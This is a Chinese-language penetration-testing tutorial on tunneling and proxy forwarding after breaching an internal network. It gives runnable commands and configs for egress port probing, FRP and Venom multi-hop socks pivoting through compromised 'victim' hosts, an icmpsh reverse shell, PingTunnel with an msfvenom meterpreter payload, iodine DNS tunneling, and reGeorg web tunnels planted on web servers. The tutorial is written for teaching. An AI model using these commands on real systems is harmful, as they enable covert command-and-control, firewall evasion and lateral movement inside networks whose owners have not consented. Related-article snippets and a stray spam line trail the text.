<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透 | 隧道穿透與代理轉發

    VSole2021-12-11 08:36:21

    隧道穿透與代理轉發

    注:本文所介紹所有工具僅限于安全研究和教學,用戶承擔因使用此工具而導致的所有法律和相關責任!作者不承擔任何法律和相關責任!

    什么是隧道?

    在滲透測試中,進入內網后,我們要判斷流量是否能夠出的去、進的來。

    在實際的網絡情況下,流量會經過很多的邊界設備,在一般的企業內網中,可能會存在 IDP、IPS、防火墻等設備,如果異常的話,就會直接將通信阻斷;這里我們說的隧道,就是繞過端口屏蔽的通信方式。防火墻兩端的數據包通過防火墻所允許的數據包類型或者端口進行封裝,然后穿過防火墻,與對方通信。當被封裝的數據包達到了另外的地址的時候,解包還原,并將還原后的數據包發送到相應的服務器上。

    常見的隧道包括三個大類:網絡層、應用層、傳輸層

    出網探測

    查看是否禁止了出站IP或者禁止了出站端口或者禁止了出站協議。

    情況一:IP白名單

    目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的IP

    這樣的話,沒法反彈shell。

    情況二:出站端口限制

    Linux

    1.Linux自帶命令

    for i in {1..65500};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done >> result.txt
    

    2.nmap探測

    nmap -sT -Pn -p- -v www.baidu.com
    

    3.masscan探測

    masscan -p 80,443,8000-9000 IP --rate=10000
    

    Windows

    如果RDP連接上去,可以使用圖形化工具(如御劍)。

    如果是webshell,可以使用fscan、nmap。

    fscan -h 127.0.0.1 -p 1-65535
    

    情況三:禁止出站協議

    對于禁止出站協議的情況,需要探測目標機器允許哪些協議出網。

    可以用以下命令判斷:

    命令協議pingicmpcurlhttpnslookupdns

    目標出網隧道

    如果目標出網,我們就正常Socks5反向代理打通隧道

    工具有很多,什么Lcx,Ew等等

    下面介紹兩種用的比較多且比較簡單的內網穿透工具

    FRP+Proxifier實現內網socks5反向代理

    https://github.com/fatedier/frp

    Frp分為服務端和客戶端,從名字就可以看出來——frpc(client)|frps(server)

    1.在服務端上配置frps.ini文件

    git clone https://github.com/fatedier/frp/releases/download/v0.38.0/frp_0.38.0_linux_amd64.tar.gz
    tar -zxvf frp_0.38.0_linux_amd64.tar.gz
    cp -r frp_0.38.0_linux_amd64 frp          # 重命名Dir,方便后續操作
    rm -rf ./frp_0.38.0_linux_amd64
    rm -rf ./frp_0.38.0_linux_amd64.tar.gz
    cd frp
    rm -rf frpc &rm -rf frpc_full.ini &rm -rf frpc.ini         # 將客戶端配置刪除 
    vim frps.ini
    

    配置如下:

    [common]
    bind_addr = 0.0.0.0      # 服務端監聽地址 默認0.0.0.0
    bind_port = 7000      # 客戶端和服務端連接的端口 
    dashboard_port = 7500     # 服務端儀表板的端口
    #token = 12345678      # 連接口令
    dashboard_user = admin     # 儀表盤用戶
    dashboard_pwd = admin     # 儀表盤口令
    log_file = ./frps.log     # frp日志
    log_level = info         # log_level記錄的日志級別
    log_max_days = 3          # log_max_days日志留存3天
    authentication_timeout = 0       # authentication_timeout超時時間
    max_pool_count = 50      # max_pool_count最大鏈接池
    

    執行命令等待frpc連接

    ./frps -c frps.ini
    

    2.在客戶端上下載frp并配置frpc.ini文件

    配置frpc.ini文件

    [common]
    server_addr = vps_ip  #連接服務端的地址
    server_port = 7000    #連接服務端的端口
    tls_enable = ture      #啟用 TLS 協議加密連接
    pool_count = 5        #連接池大小
    
    [plugin_socks]
    type = tcp
    remote_port = 8888  #是該條規則在服務端開放的端口號,待會兒用proxyfier連的端口
    plugin = socks5
    plugin_user = admin
    plugin_passwd = admin
    use_encryption = true
    use_compression = true
    

    執行frpc

    ./frps -c frps.ini
    

    成功連接

    訪問服務端儀表盤,連接成功

    3.配置proxyfier

    打開Proxy Server

    成功訪問內網,在本機做掃描啥的也很方便

    本機做實驗懶得配Rules了,覺得看的眼花你也可以加點應用限制

    Venom多級代理

    **Venom項目地址:**https://github.com/Dliv3/Venom/releases

    Venom是一款由騰訊玄武實驗室大佬Dliv3等人為滲透測試人員設計的使用Go開發的多級代理工具

    使用非常的簡單,支持可視化網絡拓撲

    agent監聽端口,admin發起連接(正向代理):

    ./agent_linux_x64 -lport 7777
    ./admin.exe -rhost 192.168.110.131 -rport 7777
    

    admin監聽端口,agent發起連接(反向代理):

    ./admin.exe -lport 9999
    ./agent_linux_x64 -rhost 192.168.110.1 -rport 9999
    

    打開help

    help                                     Help information.
    exit                                     Exit.
    show                                     Display network topology.
    getdes                                   View description of the target node.
    setdes     [info]                        Add a description to the target node.
    goto       [id]                          Select id as the target node.
    listen     [lport]                       Listen on a port on the target node.
    connect    [rhost] [rport]               Connect to a new node through the target node.
    sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
    shell                                    Start an interactive shell on the target node.
    upload     [local_file]  [remote_file]   Upload files to the target node.
    download   [remote_file]  [local_file]   Download files from the target node.
    socks      [lport]                       Start a socks5 server.
    lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
    rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.
    

    show 顯示網絡拓撲

    goto ID 進入某agent節點

    shell 獲取節點的交互式shell

    socks [port] 本地與節點1的Socks5代理,代理端口為port

    setdes/getdes 設置/獲取節點信息描述,起標記作用

    upload/download 向節點上傳/從節點下載文件

    lforward/rforward 將本地端口轉發到遠程/將遠程端口轉發到本地

     rforward 192.168.110.131 80 8889
    

    rforward 將node1網段的192.168.110.131的80轉發到admin節點本地的8889端口

    二級代理

    拓撲基本如圖:

    我們最終要在victim1上建立一級代理,在victim2上建立二級代理,我們可以攻破

    我們剛開始拿到了victim1的shell

    上傳我們的venom,啟動admin和agent端

    VPS(kali):

    ./admin_linux_x64 -lport 9999
    

    Victim1:

    ./agent_linux_x64 -rhost VPS_ip -rport 9999 -passwd moonsec
    

    一級代理此時就建立好了

    在一級代理下,我們也很順利地getshell了victim2

    我們可以配合Proxyfier使webshell工具(Antsword、Godzilla)走一級代理,這樣就能連上我們傳到內網Victim2服務器的shell

    然后在Victim1服務器上開啟監聽端口:

    (admin node) >>> goto 1
    (node 1) >>> listen 9998
    

    Victim2服務器反向去連Victim1:

    agent64.exe -rhost victim1_IP -rport 9998
    

    執行show,看到多了個node 2

    (node 1) >>> goto 2
    

    在節點2上開啟socks5代理隧道,端口9998

    (node 2) >>> socks 9998
    

    然后就可以在Proxyfier添加9998代理

    我們的二級代理就配置成功,可以用Proxyfier漫游Victim2的內網,進而打到Victim3

    多級代理

    其實多級代理也都是在前一級代理的基礎上再建立一個代理

    比如三級代理:

    假設我們又打到了victim3,發現victim3是個雙網卡,還有層內網,我們要在victim3上建立代理

    我們的webshell工具也走了9998——剛才的二級代理,能連到Victim3的shell并上傳agent客戶端

    直接在victim2上開啟監聽,監聽9997端口:

    (node 2) >>> listen 9997
    

    讓victim3發起連接:

    agent64.exe -rhost Victim2_ip -rport 9997
    

    執行show,看到多了個node 3

    image

    (node 2) >>> goto 3
    

    在節點2上開啟socks5代理隧道,端口9998

    (node 3) >>> socks 9997
    

    然后設置proxyfier走9997代理,又可以漫游victim3的內網

    其他多級代理也是在一級一級的基礎上去添加代理

    ICMP隧道

    有時候主機可能只出ICMP,那我們只能搭建ICMP隧道

    ICMP協議 就是我們常說的 ping 命令,ping通即可通信。一般防火墻不會禁掉ICMP

    常用的ICMP隧道工具有:icmpsh、Pingtunnel、powershell icmp

    icmpsh隧道

    服務端下載(Kali)

    git clone https://github.com/bdamele/icmpsh
    

    受控端直接上傳

    然后關閉服務端的 ICMP 應答:

    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    

    實驗完了記得取消就設置為 0

    官方文檔說運行run.sh

    但實際上會報錯

    然后是環境配置,pip

    python2的pip2:

    wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
    python2 get-pip.py
    

    安裝impacket

    pip2 install impacket -i https://pypi.douban.com/simple
    

    服務端啟動:

    python2 icmpsh_m.py <服務端IP> <受控端IP>
    

    受控端啟動(Windows):

    .\icmpsh.exe -t <服務端IP>
    

    成功得到Shell

    用Wireshark抓包可以看到全是ICMP包

    PingTunnel+ew實現socks5代理

    PingTunnel 是TCP/UDP/SOCKS5 流量偽裝成ICMP流量進行轉發的工具。

    注意,在客戶端中運行一定要加noprint nolog兩個參數,否則會生成大量的日志文件

    環境搭建

    網絡拓撲:

    假設我們已經獲得了Web服務器的shell,且該服務器只支持ICMP出網,內網主機Win7此時開啟3389RDP

    我們需要通過建立ICMP隧道主要實現兩個目標:物理機通過代理RDP、CS/MSF上線

    下載Pingtunnel:Kali

    wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
    tar -xzvf PingTunnel-0.72.tar.gz
    cd PingTunnel
    make && make install
    

    報錯缺少pacp.h

    解決辦法:

    wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz 
    tar zxvf libpcap-1.9.0.tar.gz 
    cd libpcap-1.9.0 
    ./configure
    

    又報錯 configure: error: Neither flex nor lex was found

    解決辦法:

    apt-get install flex bison
    

    重新運行即可

    ./configure
    make
    sudo make install
    

    回到Pingtunnel目錄,重新執行

    cd ../PingTunnel
    make && make install
    

    執行成功后ptunnel命令就已經在bin目錄了

    或者,你也可以去https://github.com/esrrhs/pingtunnel/releases直接下載執行文件

    目標機win2008也傳上pingtunnel.exe

    一、MSF/CS上線

    在攻擊機上運行pingtunnel,開啟服務器模式

    ./pingtunnel -type server
    

    客戶端(win2008)運行

    pingtunnel.exe -type client -l 127.0.0.1:8888 -s 192.168.110.131 -t 192.168.110.131:8888 -tcp 1 -noprint 1 -nolog 1 
    
    -l 用來監聽木馬傳輸流量的端口-s 隧道另一端IP,即我們攻擊機的IP-t 轉發端口,將本地8888轉發到攻擊機8888端口

    攻擊機這邊已經收到連接信息了

    MSF上線

    msfconsole
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f exe > ./loader.exe
    

    監聽器配置如下:

    成功上線

    二、ew+socks5代理實現遠程桌面

    環境配置——開啟3389:

    在win7把這什么Remote開頭的服務全開就完事了

    再開啟“允許遠程桌面”選項

    netstat -ano

    所有IP都可以連接3389,待會兒我們就可以遠程桌面了

    打通隧道:

    攻擊機(Kali):

    ./ew_for_linux64 -s rcsocks -l 10080 -e 8898
    

    10080作為連接隧道的端口,8898作為隧道的通道,可以想象為,通向內網主機的路口為10080,走的這條路為8898。8898上所有的人(流量)都會通往10080這個路口。

    開啟PingTunnel服務端

    將ew啟動的sock5協議轉換為icmp協議來隱藏傳輸

    ./pingtunnel -type server
    

    Web服務端(WinServer2008):

    客戶端執行PingTunnle

    將8888這條路上的sock5流量信息隱藏為icmp類型的數據在本肉雞的9999端口進行轉發

    pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.110.131 -t 192.168.110.131:8898 -sock5 -1 -noprint 1 -nolog 1 
    

    在9999端口開啟轉發流量

    ew_for_Win.exe -s rssocks -d 127.0.0.1 -e 9999
    

    攻擊機這邊回顯,隧道打通

    使用proxyfier代理

    check成功

    成功遠程桌面

    DNS隧道

    DNS隧道利用原理如圖:

    如果我們在不出網機器構造一個惡意的域名(***.test.cn),本地的DNS服務器無法給出回答時,就會以迭代查詢的方式通過互聯網定位到所查詢域的權威DNS服務器。最后,這條DNS請求會落到我們提前搭建好的惡意DNS服務器上,于是乎,我們的不出網主機就和惡意DNS服務器交流上了。

    使用Iodine進行DNS隧道搭建

    環境準備

    GitHub:https://github.com/boazsegev/iodine

    一臺VPS用來提供DNS服務(假)

    一臺內網主機

    首先,在DNS添加記錄

    配置完之后,可以ping一下dns.xxx.com,觀察是否能ping通。

    VPS安裝iodine

    apt-get install iodine
    

    在VPS上運行iodine的服務端iodined

     iodined -f -c -P d1m0n 10.1.1.2 dns2tcp.xxx.xxx -DD
    
    -f:在前臺運行
    -c:禁止檢查所有傳入請求的客戶端IP地址。-P:客戶端和服務端之間用于驗證身份的密碼。-D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。這里的10.1.1.2為自定義局域網虛擬IP地址,建議不要與現有網段沖突
    注意!填寫的dns2tcp地址為NS記錄

    運行客戶端iodine,這里使用kali作為客戶端,因為kali默認是安裝好iodine的

    iodine -f -P 0xL4k1d dns2tcp.xxx.xxx  -M 200
    
    -r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數的作用是強制在任何情況下使用DNS隧道 -M:指定上行主機的大小。-m:調節最大下行分片的大小。-f:在前臺運行
    -T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。-O:指定數據編碼規范。-P:客戶端和服務端之間用于驗證身份的密碼。-L:指定是否開啟懶惰模式,默認開啟。-I:指定兩個請求之間的時間間隔。

    隧道建立成功

    ping一下剛才設置的虛擬IP——10.1.1.2

    而且本地多了個網卡和同段IP 10.1.1.1

    到這就出網了

    建立Socks代理

    對內網滲透來說,我們肯定是要橫向移動的。DNS隧道幫助我們出網,還需要再搭建一個socks代理便于我們橫向移動。

    可以用比較輕便的ssh命令,將我們的客戶端作為代理服務器使用

    SSH 命令的三種代理功能(-L/-R/-D)

    ssh -N -D 9999 root@10.1.1.2
    
    -N 指示SSH不要啟動shell,因為我們只是想創建代理-D 設置動態端口轉發,SOCKS代理端口為8080

    輸入10.1.1.1(kali)機器密碼,本地利用proxychains等類似工具連接本地的1111端口的sock5連接即可代理10.1.1.1的網絡。

    安裝proxychains

    sudo apt-get install proxychains
    

    修改配置

    vim /etc/proxychains.conf
    

    設置代理端口為9999

    curl一下看看成功沒

    成功了,接下來就可以把10.1.1.2當跳板機漫游了

    不出網HTTP隧道

    不出網的環境在實戰中很常見,所以HTTP隧道是實戰中用的最多的,HTTP隧道的優點相對于以上兩個隧道的話就是穩定,ICMP丟包嚴重,而且非常慢,DNS也不穩定,有域名容易被溯源,他們上線都很麻煩。

    reGeorg

    reGeorg的使用

    https://github.com/sensepost/reGeorg

    把tunnel.nosocket.php傳到www目錄

    訪問

    回顯以下內容即成功

    本地運行reGeorgSocksProxy.py

    python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.nosocket.php
    

    接下來接收127.0.0.1:8888的代理即可內網0漫游

    但由于reGeorg在內網穿透中的廣泛使用,很多殺軟會把reGeorg殺掉,我們上傳就要做免殺處理,或者使用下面一款國內大佬開發的加密"reGeorg"——Neo-reGeorg

    Neo-reGeorg

    https://github.com/L-codes/Neo-reGeorg

    Step1:設置密碼生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上傳到WEB服務器

    $ python neoreg.py generate -k 0xL4k1d
    

    這一段應該就是我們的密鑰

    將其上傳成功后,我們本地開啟代理

    python neoreg.py -k 0xL4k1d -u http://192.168.110.1/tunnel.aspx
    

    之后就可以配合proxyfier、proxychains工具代理本地1080進行漫游了

    總結

    這次給大家介紹了一些常見的隧道穿透工具的使用,主要都是建立socks5(畢竟大家都是成年人,肯定全都要,端口轉發用的不舒服)。然后在實驗的時候,因為有些環境套的比較深,筆者有時也會搞錯端口,所以勸大家在做代理轉發,尤其是多級代理的時候一定要做拓撲圖,代著代著端口就亂啦。

    感謝閱讀!

    icmp端口轉發
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    簡介RGPScan是一款支持弱口令爆破的內網資產探測漏洞掃描工具,集成了Xray與Nuclei的Poc工具定位內網資產探測、通用漏洞掃描、弱口令爆破、端口轉發、內網穿透、SOCK5主機[IP&域名]存活檢測,支持PING/ICMP模式端口[IP&域名]服務掃描網站爬蟲截圖,CMS識別Nuclei & Xray POC網卡識別、域控識別、SMBGhost、MS17017弱口令爆破:文件:FTP/SM
    前言前段時間讀了讀徐哥的《內網安全攻防》,并復現了部分知識點,寫篇文章記錄下學習內容。但在大多數情況下,內網的環境存在多種邊界設備以及入侵檢測裝置的限制,它們會對主機間或者內網與外網之間通信的流量進行檢測,如果存在異常就會進行攔截,這無疑給內網滲透增加了難度,而隱藏通信隧道技術就是為了繞過各種邊界設備的封鎖,從而完成主機間或內網與外網之間的通信。
    當我們成功殺入內網并完成信息收集后,下一步要進行的就是判斷內網的連通性(也就是各種各樣的流量包能否出的去、進的來),隱藏通信隧道技術通常用于在訪問受限的內網環境中完成內網之內、內網與公網之間安全、穩定的數據傳輸。
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    Windows如果RDP連接上去,可以使用圖形化工具(如御劍)。如果是webshell,可以使用fscan、nmap。重命名Dir,方便后續操作。將客戶端配置刪除?服務端監聽地址?服務端儀表板的端口。log_level記錄的日志級別。執行命令等待frpc連接./frps?#是該條規則在服務端開放的端口號,待會兒用proxyfier連的端口
    它是TCP/IP協議簇的一個子協議,用于在IP主機、路由器之間傳遞控制消息。這些控制消息雖然并不傳輸用戶數據,但是對于用戶數據的傳遞起著重要的作用ICMP協議主要提供兩種功能,一種是差錯報文,一種是信息類報文。標識符和序號字段分別是16 位的字段。對于標識符,應用程序執行期間送出的所有報文里填入相同的值。例如,icmptunnel會在所有的ICMP payload前添加”TUNL”標記來識別隧道。
    隱藏通信隧道技術常用于在訪問受限的網絡環境中或不受信任的網絡中實現安全的數據傳輸。網絡層:IPV6隧道、ICMP隧道、GRE隧道傳輸層:TCP隧道、UDP隧道、常規端口轉發應用層:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道常規判斷內網連通性的方法都有哪些?
    內網滲透-代理篇
    2021-12-01 05:44:01
    利用代理工具將內網的流量代理到本地進行訪問,這樣就可以對內網進行下一步滲透,同時也可以利用代理工具將其他網段的流量轉發到本地進行縱向滲透。代理的本質是Socks協議(防火墻安全會話換協議),工作在OSI參考模型的第5層(會話層)。使用TCP協議傳輸數據,因而不提供如傳遞ICMP信息之類的網絡層相關服務。目前支持SOCKS4和SOCKS5兩個版本:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类